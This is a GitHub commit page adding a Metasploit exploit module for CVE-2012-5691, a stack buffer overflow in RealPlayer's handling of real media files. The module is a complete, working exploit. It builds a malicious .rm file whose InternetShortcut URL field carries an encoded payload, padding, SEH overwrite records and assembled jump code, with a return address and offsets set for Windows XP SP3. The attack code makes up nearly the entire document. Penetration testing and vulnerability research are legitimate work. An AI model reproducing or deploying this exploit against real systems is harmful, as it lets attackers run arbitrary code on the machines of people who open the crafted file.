Skip to content

Commit fec9890

Browse files
author
jvazquez-r7
committed
Added module for CVE-2012-5691
1 parent 2682908 commit fec9890

File tree

1 file changed

+87
-0
lines changed

1 file changed

+87
-0
lines changed
Lines changed: 87 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
include Msf::Exploit::Seh
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'RealPlayer File Handling Buffer Overflow',
19+
'Description' => %q{
20+
This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
21+
The vulnerability exists in the handling of real media files, due to the insecure
22+
usage of the GetPrivateProfileString function to retrieve the URL property from an
23+
InternetShortcut section.
24+
25+
This module generates a malicious rm file which must be opened with RealPlayer via
26+
drag and drop or double click methods. It has been tested successfully on Windows
27+
XP SP3 with RealPlayer 15.0.5.109.
28+
},
29+
'License' => MSF_LICENSE,
30+
'Author' =>
31+
[
32+
'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
33+
],
34+
'References' =>
35+
[
36+
[ 'CVE', '2012-5691' ],
37+
[ 'OSVDB', '88486' ],
38+
[ 'BID', '56956' ],
39+
[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
40+
],
41+
'DefaultOptions' =>
42+
{
43+
'ExitFunction' => 'process'
44+
},
45+
'Platform' => 'win',
46+
'Payload' =>
47+
{
48+
'BadChars' => "\x00\x0a\x0d",
49+
'DisableNops' => true,
50+
'Space' => 2000
51+
},
52+
'Targets' =>
53+
[
54+
[ 'Windows XP SP3 / Real Player 15.0.5.109',
55+
{
56+
'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll
57+
'OffsetOne' => 2312, # Open via double click
58+
'OffsetTwo' => 2964 # Open via drag and drop
59+
}
60+
]
61+
],
62+
'Privileged' => false,
63+
'DisclosureDate' => 'Dec 14 2012',
64+
'DefaultTarget' => 0))
65+
66+
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)
67+
68+
end
69+
70+
def exploit
71+
72+
buffer = payload.encoded
73+
buffer << "A" * (target['OffsetOne'] - buffer.length) # Open the file via double click
74+
buffer << generate_seh_record(target.ret)
75+
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
76+
buffer << "A" * (target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
77+
buffer << generate_seh_record(target.ret)
78+
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
79+
buffer << "B" * 7000 # Generate exception
80+
81+
content = "[InternetShortcut]\nURL="
82+
filecontent = content+buffer
83+
84+
file_create(filecontent)
85+
86+
end
87+
end

0 commit comments

Comments
 (0)